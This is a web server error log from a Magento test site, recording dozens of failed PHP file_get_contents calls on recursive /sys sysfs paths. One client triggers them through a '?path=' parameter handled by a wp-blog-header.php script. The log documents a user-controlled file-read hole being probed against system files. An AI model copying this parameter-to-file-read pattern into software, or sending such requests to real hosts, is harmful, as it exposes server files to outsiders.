[Thu Mar 26 10:50:27.555355 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:dc
[Thu Mar 26 10:50:33.518848 2026] [php:warn] [pid 3106757] [client 74.7.241.26:58414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:fe
[Thu Mar 26 10:50:36.938904 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 10:50:37.518618 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ce
[Thu Mar 26 10:50:38.012068 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:de
[Thu Mar 26 10:50:39.698484 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 10:50:49.158160 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ec
[Thu Mar 26 10:50:51.855449 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ac
[Thu Mar 26 10:50:56.582047 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:fc
[Thu Mar 26 10:51:04.449877 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:da
[Thu Mar 26 10:51:09.986045 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 10:51:10.638678 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:aa
[Thu Mar 26 10:51:19.202951 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ec
[Thu Mar 26 10:51:19.660822 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:da
[Thu Mar 26 10:51:24.318507 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:de
[Thu Mar 26 10:51:25.382203 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:be
[Thu Mar 26 10:51:26.429245 2026] [php:warn] [pid 3106405] [client 74.7.241.26:57970] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:be
[Thu Mar 26 10:51:32.990660 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:51:37.169601 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:cc
[Thu Mar 26 10:51:39.364322 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:bc
[Thu Mar 26 10:51:40.854893 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:dd/device:de
[Thu Mar 26 10:51:41.358156 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ea
[Thu Mar 26 10:51:41.851941 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/device:fc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/device:fc/subsystem
[Thu Mar 26 10:51:42.339100 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 10:51:47.260304 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:cc
[Thu Mar 26 10:51:50.374198 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ac
[Thu Mar 26 10:51:50.948111 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fa
[Thu Mar 26 10:51:56.101963 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:bc
[Thu Mar 26 10:51:58.184348 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:51:59.305586 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 10:52:00.425061 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fc
[Thu Mar 26 10:52:01.513185 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ac
[Thu Mar 26 10:52:05.242756 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ec
[Thu Mar 26 10:52:11.809011 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:fc
[Thu Mar 26 10:52:12.298547 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 10:52:14.953426 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ca
[Thu Mar 26 10:52:15.488895 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:be
[Thu Mar 26 10:52:16.599516 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 10:52:20.254914 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:aa
[Thu Mar 26 10:52:25.721084 2026] [php:warn] [pid 3107099] [client 74.7.241.26:43540] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fe
[Thu Mar 26 10:52:27.450380 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:52:27.998099 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:52:29.469505 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:52:30.519346 2026] [php:warn] [pid 3106744] [client 74.7.241.26:56184] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac
